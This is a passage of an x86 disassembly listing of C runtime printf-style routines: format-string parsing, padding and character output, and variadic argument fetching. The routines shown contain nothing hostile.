		jz	short loc_419DE0
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_48B340[eax*4]
		lea	eax, [eax+ecx*8]
		jmp	short loc_419DE5
; ---------------------------------------------------------------------------


loc_419DE0:				; CODE XREF: sub_419D23+A5j
		mov	eax, offset dword_43BC20


loc_419DE5:				; CODE XREF: sub_419D23+BBj
		test	byte ptr [eax+4], 20h
		jz	short loc_419DF8
		push	2
		push	0
		push	ebx
		call	sub_41E517
		add	esp, 0Ch


loc_419DF8:				; CODE XREF: sub_419D23+A0j
					; sub_419D23+C6j
		mov	eax, [esi+8]
		mov	cl, byte ptr [ebp+arg_0]
		mov	[eax], cl
		jmp	short loc_419E16
; ---------------------------------------------------------------------------


loc_419E02:				; CODE XREF: sub_419D23+79j
		push	1
		lea	eax, [ebp+arg_0]
		pop	edi
		push	edi
		push	eax
		push	ebx
		call	sub_41ED97
		add	esp, 0Ch
		mov	[ebp+arg_4], eax


loc_419E16:				; CODE XREF: sub_419D23+DDj
		cmp	[ebp+arg_4], edi
		pop	edi
		jz	short loc_419E22
		or	dword ptr [esi+0Ch], 20h
		jmp	short loc_419E31
; ---------------------------------------------------------------------------


loc_419E22:				; CODE XREF: sub_419D23+F7j
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh
		jmp	short loc_419E34
; ---------------------------------------------------------------------------


loc_419E2C:				; CODE XREF: sub_419D23+10j
					; sub_419D23+18j ...
		or	al, 20h
		mov	[esi+0Ch], eax


loc_419E31:				; CODE XREF: sub_419D23+FDj
		or	eax, 0FFFFFFFFh


loc_419E34:				; CODE XREF: sub_419D23+107j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_419D23	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419E38	proc near		; CODE XREF: sub_4172AE+29p
					; sub_41782A+28p ...

var_248		= byte ptr -248h
var_247		= byte ptr -247h
var_49		= byte ptr -49h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 248h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+var_C], esi
		mov	[ebp+var_14], esi
		mov	[ebp+arg_4], edi
		jz	loc_41A551
		mov	ecx, [ebp+var_10]
		xor	edx, edx
		jmp	short loc_419E6C
; ---------------------------------------------------------------------------


loc_419E64:				; CODE XREF: sub_419E38+713j
		mov	ecx, [ebp+var_10]
		mov	esi, [ebp+var_30]
		xor	edx, edx


loc_419E6C:				; CODE XREF: sub_419E38+2Aj
		cmp	[ebp+var_14], edx
		jl	loc_41A551
		cmp	bl, 20h
		jl	short loc_419E8D
		cmp	bl, 78h
		jg	short loc_419E8D
		movsx	eax, bl
		mov	al, [eax+42469Ch]
		and	eax, 0Fh
		jmp	short loc_419E8F
; ---------------------------------------------------------------------------


loc_419E8D:				; CODE XREF: sub_419E38+40j
					; sub_419E38+45j
		xor	eax, eax


loc_419E8F:				; CODE XREF: sub_419E38+53j
		movsx	eax, byte_4246BC[esi+eax*8]
		sar	eax, 4
		cmp	eax, 7		; switch 8 cases
		mov	[ebp+var_30], eax
		ja	loc_41A540	; default
		jmp	off_41A559[eax*4] ; switch jump


loc_419EAD:				; DATA XREF: ___:off_41A559o
		or	[ebp+var_10], 0FFFFFFFFh ; jumptable 00419EA6 case 1
		mov	[ebp+var_34], edx
		mov	[ebp+var_28], edx
		mov	[ebp+var_20], edx
		mov	[ebp+var_1C], edx
		mov	[ebp+var_4], edx
		mov	[ebp+var_24], edx
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------


loc_419EC8:				; CODE XREF: sub_419E38+6Ej
					; DATA XREF: ___:off_41A559o
		movsx	eax, bl		; jumptable 00419EA6 case 2
		sub	eax, 20h
		jz	short loc_419F0B
		sub	eax, 3
		jz	short loc_419F02
		sub	eax, 8
		jz	short loc_419EF9
		dec	eax
		dec	eax
		jz	short loc_419EF0
		sub	eax, 3
		jnz	loc_41A540	; default
		or	[ebp+var_4], 8
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------


loc_419EF0:				; CODE XREF: sub_419E38+A4j
		or	[ebp+var_4], 4
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------


loc_419EF9:				; CODE XREF: sub_419E38+A0j
		or	[ebp+var_4], 1
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------


loc_419F02:				; CODE XREF: sub_419E38+9Bj
		or	byte ptr [ebp+var_4], 80h
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------


loc_419F0B:				; CODE XREF: sub_419E38+96j
		or	[ebp+var_4], 2
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------


loc_419F14:				; CODE XREF: sub_419E38+6Ej
					; DATA XREF: ___:off_41A559o
		cmp	bl, 2Ah		; jumptable 00419EA6 case 3
		jnz	short loc_419F3C
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41A617
		test	eax, eax
		pop	ecx
		mov	[ebp+var_20], eax
		jge	loc_41A540	; default
		or	[ebp+var_4], 4
		neg	eax


loc_419F34:				; CODE XREF: sub_419E38+111j
		mov	[ebp+var_20], eax
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------


loc_419F3C:				; CODE XREF: sub_419E38+DFj
		mov	eax, [ebp+var_20]
		movsx	ecx, bl
		lea	eax, [eax+eax*4]
		lea	eax, [ecx+eax*2-30h]
		jmp	short loc_419F34
; ---------------------------------------------------------------------------


loc_419F4B:				; CODE XREF: sub_419E38+6Ej
					; DATA XREF: ___:off_41A559o
		mov	[ebp+var_10], edx ; jumptable 00419EA6 case 4
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------


loc_419F53:				; CODE XREF: sub_419E38+6Ej
					; DATA XREF: ___:off_41A559o
		cmp	bl, 2Ah		; jumptable 00419EA6 case 5
		jnz	short loc_419F76
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41A617
		test	eax, eax
		pop	ecx
		mov	[ebp+var_10], eax
		jge	loc_41A540	; default
		or	[ebp+var_10], 0FFFFFFFFh
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------


loc_419F76:				; CODE XREF: sub_419E38+11Ej
		lea	eax, [ecx+ecx*4]
		movsx	ecx, bl
		lea	eax, [ecx+eax*2-30h]
		mov	[ebp+var_10], eax
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------


loc_419F88:				; CODE XREF: sub_419E38+6Ej
					; DATA XREF: ___:off_41A559o
		cmp	bl, 49h		; jumptable 00419EA6 case 6
		jz	short loc_419FBB
		cmp	bl, 68h
		jz	short loc_419FB2
		cmp	bl, 6Ch
		jz	short loc_419FA9
		cmp	bl, 77h
		jnz	loc_41A540	; default
		or	byte ptr [ebp+var_4+1],	8
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------


loc_419FA9:				; CODE XREF: sub_419E38+15Dj
		or	[ebp+var_4], 10h
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------


loc_419FB2:				; CODE XREF: sub_419E38+158j
		or	[ebp+var_4], 20h
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------


loc_419FBB:				; CODE XREF: sub_419E38+153j
		cmp	byte ptr [edi],	36h
		jnz	short loc_419FD4
		cmp	byte ptr [edi+1], 34h
		jnz	short loc_419FD4
		inc	edi
		inc	edi
		or	byte ptr [ebp+var_4+1],	80h
		mov	[ebp+arg_4], edi
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------


loc_419FD4:				; CODE XREF: sub_419E38+186j
					; sub_419E38+18Cj
		mov	[ebp+var_30], edx


loc_419FD7:				; CODE XREF: sub_419E38+6Ej
					; DATA XREF: ___:off_41A559o
		mov	ecx, off_4395A0	; jumptable 00419EA6 case 0
		mov	[ebp+var_24], edx
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_41A003
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_41A579
		mov	bl, [edi]
		add	esp, 0Ch
		inc	edi
		mov	[ebp+arg_4], edi


loc_41A003:				; CODE XREF: sub_419E38+1B0j
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_41A579
		add	esp, 0Ch
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------


loc_41A01B:				; CODE XREF: sub_419E38+6Ej
					; DATA XREF: ___:off_41A559o
		movsx	eax, bl		; jumptable 00419EA6 case 7
		cmp	eax, 67h
		jg	loc_41A243
		cmp	eax, 65h
		jge	loc_41A0C6
		cmp	eax, 58h
		jg	loc_41A124
		jz	loc_41A2B7
		sub	eax, 43h
		jz	loc_41A0E7
		dec	eax
		dec	eax
		jz	short loc_41A0BC
		dec	eax
		dec	eax
		jz	short loc_41A0BC
		sub	eax, 0Ch
		jnz	loc_41A442
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_41A065
		or	byte ptr [ebp+var_4+1],	8


loc_41A065:				; CODE XREF: sub_419E38+227j
					; sub_419E38+42Aj
		mov	esi, [ebp+var_10]
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41A072
		mov	esi, 7FFFFFFFh


loc_41A072:				; CODE XREF: sub_419E38+233j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41A617
		test	word ptr [ebp+var_4], 810h
		pop	ecx
		mov	ecx, eax
		mov	[ebp+var_8], ecx
		jz	loc_41A28B
		test	ecx, ecx
		jnz	short loc_41A09A
		mov	ecx, off_43959C
		mov	[ebp+var_8], ecx


loc_41A09A:				; CODE XREF: sub_419E38+257j
		mov	[ebp+var_24], 1
		mov	eax, ecx


loc_41A0A3:				; CODE XREF: sub_419E38+282j
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	loc_41A282
		cmp	word ptr [eax],	0
		jz	loc_41A282
		inc	eax
		inc	eax
		jmp	short loc_41A0A3
; ---------------------------------------------------------------------------


loc_41A0BC:				; CODE XREF: sub_419E38+212j
					; sub_419E38+216j
		mov	[ebp+var_34], 1
		add	bl, 20h


loc_41A0C6:				; CODE XREF: sub_419E38+1F2j
		or	[ebp+var_4], 40h
		lea	edi, [ebp+var_248]
		cmp	ecx, edx
		mov	[ebp+var_8], edi
		jge	loc_41A1AA
		mov	[ebp+var_10], 6
		jmp	loc_41A1B8
; ---------------------------------------------------------------------------


loc_41A0E7:				; CODE XREF: sub_419E38+20Aj
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_41A0F3
		or	byte ptr [ebp+var_4+1],	8


loc_41A0F3:				; CODE XREF: sub_419E38+2B5j
					; sub_419E38+2F4j
		test	word ptr [ebp+var_4], 810h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41A13A
		call	sub_41A634
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41FAFB
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		test	eax, eax
		jge	short loc_41A14D
		mov	[ebp+var_28], 1
		jmp	short loc_41A14D
; ---------------------------------------------------------------------------


loc_41A124:				; CODE XREF: sub_419E38+1FBj
		sub	eax, 5Ah
		jz	short loc_41A15B
		sub	eax, 9
		jz	short loc_41A0F3
		dec	eax
		jz	loc_41A31D
		jmp	loc_41A442
; ---------------------------------------------------------------------------


loc_41A13A:				; CODE XREF: sub_419E38+2C5j
		call	sub_41A617
		pop	ecx
		mov	[ebp+var_248], al
		mov	[ebp+var_C], 1


loc_41A14D:				; CODE XREF: sub_419E38+2E1j
					; sub_419E38+2EAj
		lea	eax, [ebp+var_248]
		mov	[ebp+var_8], eax
		jmp	loc_41A442
; ---------------------------------------------------------------------------


loc_41A15B:				; CODE XREF: sub_419E38+2EFj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41A617
		test	eax, eax
		pop	ecx
		jz	short loc_41A19C
		mov	ecx, [eax+4]
		test	ecx, ecx
		jz	short loc_41A19C
		test	byte ptr [ebp+var_4+1],	8
		jz	short loc_41A18D
		movsx	eax, word ptr [eax]
		shr	eax, 1
		mov	[ebp+var_8], ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_24], 1
		jmp	loc_41A442
; ---------------------------------------------------------------------------


loc_41A18D:				; CODE XREF: sub_419E38+33Cj
		and	[ebp+var_24], 0
		mov	[ebp+var_8], ecx
		movsx	eax, word ptr [eax]
		jmp	loc_41A43F
; ---------------------------------------------------------------------------


loc_41A19C:				; CODE XREF: sub_419E38+32Fj
					; sub_419E38+336j
		mov	eax, off_439598
		mov	[ebp+var_8], eax
		push	eax
		jmp	loc_41A238
; ---------------------------------------------------------------------------


loc_41A1AA:				; CODE XREF: sub_419E38+29Dj
		jnz	short loc_41A1B8
		cmp	bl, 67h
		jnz	short loc_41A1B8
		mov	[ebp+var_10], 1


loc_41A1B8:				; CODE XREF: sub_419E38+2AAj
					; sub_419E38:loc_41A1AAj ...
		mov	eax, [ebp+arg_8]
		push	[ebp+var_34]
		add	eax, 8
		mov	[ebp+arg_8], eax
		push	[ebp+var_10]
		mov	ecx, [eax-8]
		mov	[ebp+var_48], ecx
		mov	eax, [eax-4]
		mov	[ebp+var_44], eax
		movsx	eax, bl
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		call	off_43B900
		mov	esi, [ebp+var_4]
		add	esp, 14h
		and	esi, 80h
		jz	short loc_41A20A
		cmp	[ebp+var_10], 0
		jnz	short loc_41A20A
		lea	eax, [ebp+var_248]
		push	eax
		call	off_43B90C
		pop	ecx


loc_41A20A:				; CODE XREF: sub_419E38+3BCj
					; sub_419E38+3C2j
		cmp	bl, 67h
		jnz	short loc_41A221
		test	esi, esi
		jnz	short loc_41A221
		lea	eax, [ebp+var_248]
		push	eax
		call	off_43B904
		pop	ecx


loc_41A221:				; CODE XREF: sub_419E38+3D5j
					; sub_419E38+3D9j
		cmp	[ebp+var_248], 2Dh
		jnz	short loc_41A237
		or	byte ptr [ebp+var_4+1],	1
		lea	edi, [ebp+var_247]
		mov	[ebp+var_8], edi


loc_41A237:				; CODE XREF: sub_419E38+3F0j
		push	edi


loc_41A238:				; CODE XREF: sub_419E38+36Dj
		call	sub_417AB0
		pop	ecx
		jmp	loc_41A43F
; ---------------------------------------------------------------------------


loc_41A243:				; CODE XREF: sub_419E38+1E9j
		sub	eax, 69h
		jz	loc_41A31D
		sub	eax, 5
		jz	loc_41A2F3
		dec	eax
		jz	loc_41A2E0
		dec	eax
		jz	short loc_41A2B0
		sub	eax, 3
		jz	loc_41A065
		dec	eax
		dec	eax
		jz	loc_41A321
		sub	eax, 3
		jnz	loc_41A442
		mov	[ebp+var_2C], 27h
		jmp	short loc_41A2BE
; ---------------------------------------------------------------------------


loc_41A282:				; CODE XREF: sub_419E38+270j
					; sub_419E38+27Aj
		sub	eax, ecx
		sar	eax, 1
		jmp	loc_41A43F
; ---------------------------------------------------------------------------


loc_41A28B:				; CODE XREF: sub_419E38+24Fj
		test	ecx, ecx
		jnz	short loc_41A298
		mov	ecx, off_439598
		mov	[ebp+var_8], ecx


loc_41A298:				; CODE XREF: sub_419E38+455j
		mov	eax, ecx


loc_41A29A:				; CODE XREF: sub_419E38+46Fj
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	short loc_41A2A9
		cmp	byte ptr [eax],	0
		jz	short loc_41A2A9
		inc	eax
		jmp	short loc_41A29A
; ---------------------------------------------------------------------------


loc_41A2A9:				; CODE XREF: sub_419E38+467j
					; sub_419E38+46Cj
		sub	eax, ecx
		jmp	loc_41A43F
; ---------------------------------------------------------------------------


loc_41A2B0:				; CODE XREF: sub_419E38+425j
		mov	[ebp+var_10], 8


loc_41A2B7:				; CODE XREF: sub_419E38+201j
		mov	[ebp+var_2C], 7


loc_41A2BE:				; CODE XREF: sub_419E38+448j
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 10h
		jz	short loc_41A328
		mov	al, byte ptr [ebp+var_2C]
		mov	[ebp+var_16], 30h
		add	al, 51h
		mov	[ebp+var_1C], 2
		mov	[ebp+var_15], al
		jmp	short loc_41A328
; ---------------------------------------------------------------------------


loc_41A2E0:				; CODE XREF: sub_419E38+41Ej
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 8
		jz	short loc_41A328
		or	byte ptr [ebp+var_4+1],	2
		jmp	short loc_41A328
; ---------------------------------------------------------------------------


loc_41A2F3:				; CODE XREF: sub_419E38+417j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41A617
		test	byte ptr [ebp+var_4], 20h
		pop	ecx
		jz	short loc_41A30C
		mov	cx, word ptr [ebp+var_14]
		mov	[eax], cx
		jmp	short loc_41A311
; ---------------------------------------------------------------------------


loc_41A30C:				; CODE XREF: sub_419E38+4C9j
		mov	ecx, [ebp+var_14]
		mov	[eax], ecx


loc_41A311:				; CODE XREF: sub_419E38+4D2j
		mov	[ebp+var_28], 1
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------


loc_41A31D:				; CODE XREF: sub_419E38+2F7j
					; sub_419E38+40Ej
		or	[ebp+var_4], 40h


loc_41A321:				; CODE XREF: sub_419E38+432j
		mov	[ebp+var_C], 0Ah


loc_41A328:				; CODE XREF: sub_419E38+491j
					; sub_419E38+4A6j ...
		test	byte ptr [ebp+var_4+1],	80h
		jz	short loc_41A33A
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41A624
		pop	ecx
		jmp	short loc_41A37B
; ---------------------------------------------------------------------------


loc_41A33A:				; CODE XREF: sub_419E38+4F4j
		test	byte ptr [ebp+var_4], 20h
		jz	short loc_41A361
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41A356
		call	sub_41A617
		pop	ecx
		movsx	eax, ax


loc_41A353:				; CODE XREF: sub_419E38+527j
					; sub_419E38+539j
		cdq
		jmp	short loc_41A37B
; ---------------------------------------------------------------------------


loc_41A356:				; CODE XREF: sub_419E38+510j
		call	sub_41A617
		pop	ecx
		movzx	eax, ax
		jmp	short loc_41A353
; ---------------------------------------------------------------------------


loc_41A361:				; CODE XREF: sub_419E38+506j
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41A373
		call	sub_41A617
		pop	ecx
		jmp	short loc_41A353
; ---------------------------------------------------------------------------


loc_41A373:				; CODE XREF: sub_419E38+531j
		call	sub_41A617
		pop	ecx
		xor	edx, edx


loc_41A37B:				; CODE XREF: sub_419E38+500j
					; sub_419E38+51Cj
		test	byte ptr [ebp+var_4], 40h
		jz	short loc_41A39C
		test	edx, edx
		jg	short loc_41A39C
		jl	short loc_41A38B
		test	eax, eax
		jnb	short loc_41A39C


loc_41A38B:				; CODE XREF: sub_419E38+54Dj
		neg	eax
		adc	edx, 0
		mov	esi, eax
		neg	edx
		or	byte ptr [ebp+var_4+1],	1
		mov	edi, edx
		jmp	short loc_41A3A0
; ---------------------------------------------------------------------------


loc_41A39C:				; CODE XREF: sub_419E38+547j
					; sub_419E38+54Bj ...
		mov	esi, eax
		mov	edi, edx


loc_41A3A0:				; CODE XREF: sub_419E38+562j
		test	byte ptr [ebp+var_4+1],	80h
		jnz	short loc_41A3A9
		and	edi, 0


loc_41A3A9:				; CODE XREF: sub_419E38+56Cj
		cmp	[ebp+var_10], 0
		jge	short loc_41A3B8
		mov	[ebp+var_10], 1
		jmp	short loc_41A3BC
; ---------------------------------------------------------------------------


loc_41A3B8:				; CODE XREF: sub_419E38+575j
		and	[ebp+var_4], 0FFFFFFF7h


loc_41A3BC:				; CODE XREF: sub_419E38+57Ej
		mov	eax, esi
		or	eax, edi
		jnz	short loc_41A3C6
		and	[ebp+var_1C], 0


loc_41A3C6:				; CODE XREF: sub_419E38+588j
		lea	eax, [ebp+var_49]
		mov	[ebp+var_8], eax


loc_41A3CC:				; CODE XREF: sub_419E38+5DDj
		mov	eax, [ebp+var_10]
		dec	[ebp+var_10]
		test	eax, eax
		jg	short loc_41A3DC
		mov	eax, esi
		or	eax, edi
		jz	short loc_41A417


loc_41A3DC:				; CODE XREF: sub_419E38+59Cj
		mov	eax, [ebp+var_C]
		cdq
		push	edx
		push	eax
		push	edi
		push	esi
		mov	[ebp+var_40], eax
		mov	[ebp+var_3C], edx
		call	sub_4191D0
		push	[ebp+var_3C]
		mov	ebx, eax
		add	ebx, 30h
		push	[ebp+var_40]
		push	edi
		push	esi
		call	sub_419250
		cmp	ebx, 39h
		mov	esi, eax
		mov	edi, edx
		jle	short loc_41A40D
		add	ebx, [ebp+var_2C]


loc_41A40D:				; CODE XREF: sub_419E38+5D0j
		mov	eax, [ebp+var_8]
		dec	[ebp+var_8]
		mov	[eax], bl
		jmp	short loc_41A3CC
; ---------------------------------------------------------------------------


loc_41A417:				; CODE XREF: sub_419E38+5A2j
		lea	eax, [ebp+var_49]
		sub	eax, [ebp+var_8]
		inc	[ebp+var_8]
		test	byte ptr [ebp+var_4+1],	2
		mov	[ebp+var_C], eax
		jz	short loc_41A442
		mov	ecx, [ebp+var_8]
		cmp	byte ptr [ecx],	30h
		jnz	short loc_41A435
		test	eax, eax
		jnz	short loc_41A442


loc_41A435:				; CODE XREF: sub_419E38+5F7j
		dec	[ebp+var_8]
		inc	eax
		mov	ecx, [ebp+var_8]
		mov	byte ptr [ecx],	30h


loc_41A43F:				; CODE XREF: sub_419E38+35Fj
					; sub_419E38+406j ...
		mov	[ebp+var_C], eax


loc_41A442:				; CODE XREF: sub_419E38+21Bj
					; sub_419E38+2FDj ...
		cmp	[ebp+var_28], 0
		jnz	loc_41A540	; default
		mov	ebx, [ebp+var_4]
		test	bl, 40h
		jz	short loc_41A47A
		test	bh, 1
		jz	short loc_41A45F
		mov	[ebp+var_16], 2Dh
		jmp	short loc_41A473
; ---------------------------------------------------------------------------


loc_41A45F:				; CODE XREF: sub_419E38+61Fj
		test	bl, 1
		jz	short loc_41A46A
		mov	[ebp+var_16], 2Bh
		jmp	short loc_41A473
; ---------------------------------------------------------------------------


loc_41A46A:				; CODE XREF: sub_419E38+62Aj
		test	bl, 2
		jz	short loc_41A47A
		mov	[ebp+var_16], 20h


loc_41A473:				; CODE XREF: sub_419E38+625j
					; sub_419E38+630j
		mov	[ebp+var_1C], 1


loc_41A47A:				; CODE XREF: sub_419E38+61Aj
					; sub_419E38+635j
		mov	esi, [ebp+var_20]
		sub	esi, [ebp+var_1C]
		sub	esi, [ebp+var_C]
		test	bl, 0Ch
		jnz	short loc_41A49A
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_41A5AE
		add	esp, 10h


loc_41A49A:				; CODE XREF: sub_419E38+64Ej
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_16]
		push	[ebp+arg_0]
		push	[ebp+var_1C]
		push	eax
		call	sub_41A5DF
		add	esp, 10h
		test	bl, 8
		jz	short loc_41A4CC
		test	bl, 4
		jnz	short loc_41A4CC
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	30h
		call	sub_41A5AE
		add	esp, 10h


loc_41A4CC:				; CODE XREF: sub_419E38+67Bj
					; sub_419E38+680j
		cmp	[ebp+var_24], 0
		jz	short loc_41A513
		cmp	[ebp+var_C], 0
		jle	short loc_41A513
		mov	eax, [ebp+var_C]
		mov	ebx, [ebp+var_8]
		lea	edi, [eax-1]


loc_41A4E1:				; CODE XREF: sub_419E38+6D7j
		mov	ax, [ebx]
		inc	ebx
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		inc	ebx
		call	sub_41FAFB
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41A528
		lea	ecx, [ebp+var_14]
		push	ecx
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_41A5DF
		add	esp, 10h
		mov	eax, edi
		dec	edi
		test	eax, eax
		jnz	short loc_41A4E1
		jmp	short loc_41A528
; ---------------------------------------------------------------------------


loc_41A513:				; CODE XREF: sub_419E38+698j
					; sub_419E38+69Ej
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_C]
		push	[ebp+var_8]
		call	sub_41A5DF
		add	esp, 10h


loc_41A528:				; CODE XREF: sub_419E38+6BCj
					; sub_419E38+6D9j
		test	byte ptr [ebp+var_4], 4
		jz	short loc_41A540 ; default
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_41A5AE
		add	esp, 10h


loc_41A540:				; CODE XREF: sub_419E38+68j
					; sub_419E38+8Bj ...
		mov	edi, [ebp+arg_4] ; default
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+arg_4], edi
		jnz	loc_419E64


loc_41A551:				; CODE XREF: sub_419E38+1Fj
					; sub_419E38+37j
		mov	eax, [ebp+var_14]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_419E38	endp

; ---------------------------------------------------------------------------
off_41A559	dd offset loc_419FD7	; DATA XREF: sub_419E38+6Er
		dd offset loc_419EAD	; jump table for switch	statement
		dd offset loc_419EC8
		dd offset loc_419F14
		dd offset loc_419F4B
		dd offset loc_419F53
		dd offset loc_419F88
		dd offset loc_41A01B

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A579	proc near		; CODE XREF: sub_419E38+1BDp
					; sub_419E38+1D6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_4]
		dec	dword ptr [ecx+4]
		js	short loc_41A592
		mov	edx, [ecx]
		mov	al, byte ptr [ebp+arg_0]
		mov	[edx], al
		inc	dword ptr [ecx]
		movzx	eax, al
		jmp	short loc_41A59D
; ---------------------------------------------------------------------------


loc_41A592:				; CODE XREF: sub_41A579+9j
		push	ecx
		push	[ebp+arg_0]
		call	sub_419D23
		pop	ecx
		pop	ecx


loc_41A59D:				; CODE XREF: sub_41A579+17j
		cmp	eax, 0FFFFFFFFh
		mov	eax, [ebp+arg_8]
		jnz	short loc_41A5AA
		or	dword ptr [eax], 0FFFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41A5AA:				; CODE XREF: sub_41A579+2Aj
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_41A579	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A5AE	proc near		; CODE XREF: sub_419E38+65Ap
					; sub_419E38+68Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	eax, edi
		dec	edi
		test	eax, eax
		jle	short loc_41A5DC
		mov	esi, [esp+8+arg_C]


loc_41A5BF:				; CODE XREF: sub_41A5AE+2Cj
		push	esi
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_0]
		call	sub_41A579
		add	esp, 0Ch
		cmp	dword ptr [esi], 0FFFFFFFFh
		jz	short loc_41A5DC
		mov	eax, edi
		dec	edi
		test	eax, eax
		jg	short loc_41A5BF


loc_41A5DC:				; CODE XREF: sub_41A5AE+Bj
					; sub_41A5AE+25j
		pop	edi
		pop	esi
		retn
sub_41A5AE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A5DF	proc near		; CODE XREF: sub_419E38+670p
					; sub_419E38+6CAp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_4]
		mov	eax, ebx
		dec	ebx
		push	esi
		push	edi
		test	eax, eax
		jle	short loc_41A613
		mov	edi, [esp+0Ch+arg_C]
		mov	esi, [esp+0Ch+arg_0]


loc_41A5F5:				; CODE XREF: sub_41A5DF+32j
		movsx	eax, byte ptr [esi]
		push	edi
		inc	esi
		push	[esp+10h+arg_8]
		push	eax
		call	sub_41A579
		add	esp, 0Ch
		cmp	dword ptr [edi], 0FFFFFFFFh
		jz	short loc_41A613
		mov	eax, ebx
		dec	ebx
		test	eax, eax
		jg	short loc_41A5F5


loc_41A613:				; CODE XREF: sub_41A5DF+Cj
					; sub_41A5DF+2Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41A5DF	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A617	proc near		; CODE XREF: sub_419E38+E5p
					; sub_419E38+124p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	eax, [eax-4]
		retn
sub_41A617	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A624	proc near		; CODE XREF: sub_419E38+4FAp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 8
		mov	ecx, [eax]
		mov	eax, [ecx-8]
		mov	edx, [ecx-4]
		retn
sub_41A624	endp


; =============== S U B	R O U T	I N E =======================================



